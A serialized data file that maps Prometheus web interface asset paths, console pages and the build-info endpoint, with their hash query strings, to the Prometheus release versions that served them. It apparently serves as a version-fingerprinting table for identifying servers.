+2.21.0"K +@static/css/alerts.css?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=d20e84d0fb64aff2f62a977adc8cfb656da4e286 +2.10.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"& +static/js/main.962dd432.js +2.38.0"L +@static/css/alerts.css?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=bfa37c8ee39d11078662dce16c162a61dccf616c +1.7.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2"X +Mstatic/vendor/moment/moment.min.js?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"J +>static/js/alerts.js?v=657ba532e42f1db8d7c77bf802378643da0d3118 +2.19.3"R +Gstatic/vendor/fuzzy/fuzzy.js?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0"Y +Mstatic/vendor/moment/moment.min.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"3 +static/js/2.82c14340.chunk.js +2.28.1 +2.28.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0" + favicon.ico +2.43.0 +2.42.0 +2.41.0 +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0 +2.38.0 +2.37.5 +2.37.4 +2.37.3 +2.37.2 +2.37.1 +2.37.0 +2.36.2 +2.34.0 +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0 +2.29.2 +2.29.1 +2.29.0 +2.28.1 +2.28.0 +2.27.1 +2.27.0 +2.26.1 +2.26.0 +2.25.2 +2.25.1 +2.25.0 +2.24.1 +2.24.0 +2.23.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"Z +Ostatic/vendor/js/jquery.selection.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"M +Astatic/css/targets.css?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"Z +Ostatic/vendor/js/jquery.selection.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0" +&static/vendor/rickshaw/vendor/d3.v3.js +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0"Z +Ostatic/vendor/js/jquery.selection.js?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0": +static/js/main.4ffd964d.js +2.36.2 +2.36.1 +2.36.0"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0" +consoles/haproxy-frontend.html +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=43acd0e2e93f9f70c49b2267efa0124f1e759e86 +2.12.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"i +^static/vendor/bootstrap-4.1.3/css/bootstrap.min.css?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"M +Astatic/img/favicon.ico?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"J +?static/css/graph.css?v=b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a +1.6.2"R +Gstatic/vendor/fuzzy/fuzzy.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"8 +"static/css/main.6d3c05e2.chunk.css +2.26.1 +2.26.0"K +@static/css/alerts.css?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"J +?static/css/graph.css?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"[ +Ostatic/vendor/js/jquery.selection.js?v=d20e84d0fb64aff2f62a977adc8cfb656da4e286 +2.10.0"[ +Ostatic/vendor/js/jquery-3.5.1.min.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"X +Mstatic/vendor/moment/moment.min.js?v=22eadbe635528fa17b99a7635fed6b6018103042 +1.7.2"K +@static/css/alerts.css?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"L +Astatic/img/favicon.ico?v=71af5e29e815795e9dd14742ee7725682fa14b7b +2.3.2"X +Mstatic/vendor/js/jquery.hotkeys.js?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"L +Astatic/img/favicon.ico?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"8 +"static/css/main.1e0a7b5f.chunk.css +2.27.1 +2.27.0"K +?static/js/targets.js?v=0a7fdd3b76960808c3a91d92267c3d815c1bc354 +2.22.0"O +Dstatic/css/prometheus.css?v=bfa37c8ee39d11078662dce16c162a61dccf616c +1.7.0"S +Gstatic/vendor/fuzzy/fuzzy.js?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1"[ +Ostatic/vendor/js/jquery.selection.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"8 +"static/css/main.d6764694.chunk.css +2.28.1 +2.28.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1"L +Astatic/img/favicon.ico?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"S +Gstatic/vendor/fuzzy/fuzzy.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"X +Mstatic/vendor/moment/moment.min.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"L +Astatic/img/favicon.ico?v=22eadbe635528fa17b99a7635fed6b6018103042 +1.7.2"P +Dstatic/css/prometheus.css?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"J +?static/js/targets.js?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"S +Gstatic/vendor/fuzzy/fuzzy.js?v=d20e84d0fb64aff2f62a977adc8cfb656da4e286 +2.10.0"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"S +Gstatic/vendor/fuzzy/fuzzy.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1" +static/vendor/js/handlebars.js +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=b90be6f32a33c03163d700e1452b54454ddce0ec +2.16.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"I +>static/js/alerts.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0" +api/v1/status/buildinfo +2.43.0 +2.42.0 +2.41.0 +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0 +2.38.0 +2.37.5 +2.37.4 +2.37.3 +2.37.2 +2.37.1 +2.37.0 +2.36.2 +2.36.1 +2.36.0 +2.35.0 +2.34.0 +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0 +2.29.2 +2.29.1 +2.29.0 +2.28.1 +2.28.0 +2.27.1 +2.27.0 +2.26.1 +2.26.0 +2.25.2 +2.25.1 +2.25.0 +2.24.1 +2.24.0 +2.23.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0"Z +Ostatic/vendor/js/jquery.selection.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"M +Astatic/css/targets.css?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"X +Mstatic/vendor/js/jquery.hotkeys.js?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"N +Cstatic/js/graph/index.js?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"K +?static/css/graph.css?v=0a7fdd3b76960808c3a91d92267c3d815c1bc354 +2.22.0"X +Mstatic/vendor/moment/moment.min.js?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"[ +Ostatic/vendor/js/jquery.selection.js?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"Z +Ostatic/vendor/js/jquery.selection.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"k +`static/vendor/moment/moment-timezone-with-data.min.js?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1" +static/css/alerts.css +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0" + +consoles/prometheus.html +2.43.0 +2.42.0 +2.41.0 +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0 +2.38.0 +2.37.5 +2.37.4 +2.37.3 +2.37.2 +2.37.1 +2.37.0 +2.36.2 +2.36.1 +2.36.0 +2.35.0 +2.34.0 +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0 +2.29.2 +2.29.1 +2.29.0 +2.28.1 +2.28.0 +2.27.1 +2.27.0 +2.26.1 +2.26.0 +2.25.2 +2.25.1 +2.25.0 +2.24.1 +2.24.0 +2.23.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0"X +Mstatic/vendor/js/jquery.hotkeys.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=82f98c825a1437c0a24056eb4dc986d9a3fc7fae +2.7.2"P +Dstatic/css/prometheus.css?v=ae041f97cfc6f43494bed65ec4ea4e3a0cf2ac69 +2.17.1"h +\static/vendor/bootstrap-4.5.2/js/bootstrap.min.js?v=0a7fdd3b76960808c3a91d92267c3d815c1bc354 +2.22.0"J +?static/js/targets.js?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"T +Istatic/vendor/js/jquery.min.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"J +?static/css/graph.css?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"& +static/js/main.8ea0e5d3.js +2.34.0"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"S +Gstatic/vendor/fuzzy/fuzzy.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=71af5e29e815795e9dd14742ee7725682fa14b7b +2.3.2"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=a12e96299dcd159ea09b260f1a21e7e4b86e011d +2.18.0"L +@static/css/alerts.css?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"L +Astatic/img/favicon.ico?v=1a9cdbd024fea05a1888c3164058087476cfdc3b +2.9.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"M +Astatic/css/targets.css?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"] +Qstatic/vendor/mustache/mustache.min.js?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"J +?static/css/graph.css?v=3afb3fffa3a29c3de865e1172fb740442e9d0133 +1.7.1"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=0a7fdd3b76960808c3a91d92267c3d815c1bc354 +2.22.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"L +Astatic/img/favicon.ico?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"[ +Ostatic/vendor/js/jquery-3.5.1.min.js?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"Z +Ostatic/vendor/js/jquery.selection.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"J +?static/css/graph.css?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"X +Mstatic/vendor/moment/moment.min.js?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2"K +@static/css/alerts.css?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"I +>static/js/alerts.js?v=bc6058c81272a8d938c05e75607371284236aadc +2.2.1"X +Mstatic/vendor/moment/moment.min.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"X +Mstatic/vendor/js/jquery.hotkeys.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"[ +Ostatic/vendor/js/jquery.selection.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"J +?static/js/targets.js?v=4d60eb36dcbed725fcac5b27018574118f12fffb +2.8.1"\ +Qstatic/vendor/mustache/mustache.min.js?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=67dc912ac8b24f94a1fc478f352d25179c94ab9b +2.5.0"K +?static/js/targets.js?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1" +"consoles/aws_redshift-cluster.html +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"L +Astatic/img/favicon.ico?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2" +consoles/aws_elasticache.html +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"( +static/css/main.c7e0c1b2.css +2.43.0"J +>static/js/alerts.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"\ +Qstatic/vendor/mustache/mustache.min.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"I +>static/js/alerts.js?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"X +Mstatic/vendor/js/jquery.hotkeys.js?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"M +Astatic/img/favicon.ico?v=6ea4252299f542669aca11860abc2192bdc7bede +2.13.0"P +Dstatic/css/prometheus.css?v=de1c1243f4dd66fbac3e8213e9a7bd8dbc9f38b2 +2.22.2"N +Cstatic/js/graph/index.js?v=bc6058c81272a8d938c05e75607371284236aadc +2.2.1"t +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=bfa37c8ee39d11078662dce16c162a61dccf616c +1.7.0"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"O +Dstatic/css/prometheus.css?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"Z +Ostatic/vendor/js/jquery.selection.js?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"@ + static/js/main.e1fba23f.chunk.js +2.31.2 +2.31.1 +2.31.0"U +Istatic/vendor/js/popper.min.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"l +`static/vendor/moment/moment-timezone-with-data.min.js?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"O +Cstatic/js/graph/index.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"T +Istatic/vendor/js/jquery.min.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"] +Qstatic/vendor/mustache/mustache.min.js?v=ecee9c8abfd118f139014cb1b174b08db3f342cf +2.18.1"K +?static/css/graph.css?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0"J +?static/js/targets.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"K +?static/css/graph.css?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1"J +?static/js/targets.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"T + static/js/main.42f195d0.chunk.js +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0"P +Dstatic/css/prometheus.css?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"\ +Qstatic/vendor/mustache/mustache.min.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"K +?static/css/graph.css?v=e5b22494857deca4b806f74f6e3a6ee30c251763 +2.11.1"M +Astatic/css/targets.css?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1"K +@static/css/alerts.css?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"L +Astatic/img/favicon.ico?v=c580b60c67f2c5f6b638c3322161bcdf6d68d7fc +1.6.3"O +Cstatic/js/graph/index.js?v=6ea4252299f542669aca11860abc2192bdc7bede +2.13.0"] +Qstatic/vendor/mustache/mustache.min.js?v=983ebb4a513302315a8117932ab832815f85e3d2 +2.20.1"j +^static/vendor/bootstrap-4.3.1/css/bootstrap.min.css?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"R +Gstatic/vendor/fuzzy/fuzzy.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"P +Dstatic/css/prometheus.css?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"[ +Ostatic/vendor/js/jquery.selection.js?v=e83ef207b6c2398919b69cd87d2693cfc2fb4127 +2.21.0"J +>static/js/alerts.js?v=4ef66003d9855ed2b7a41e987b33828ec36db34d +2.11.0"L +Astatic/img/favicon.ico?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0"K +?static/css/graph.css?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"N +Cstatic/js/graph/index.js?v=82f98c825a1437c0a24056eb4dc986d9a3fc7fae +2.7.2"L +@static/css/alerts.css?v=c448ada63d83002e9c1d2c9f84e09f55a61f0ff7 +2.19.2"O +Dstatic/css/prometheus.css?v=068eaa5dbfce6c08f3d05d3d3c0bfd96267cfed2 +2.4.0"t +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=b639fe140c1f71b2cbad3fc322b17efe60839e7e +2.6.1"u +istatic/vendor/bootstrap3-typeahead/bootstrap3-typeahead.min.js?v=00f16d1ac3a4c94561e5133b821d8e4d9ef78ec2 +2.22.1"L +Astatic/img/favicon.ico?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 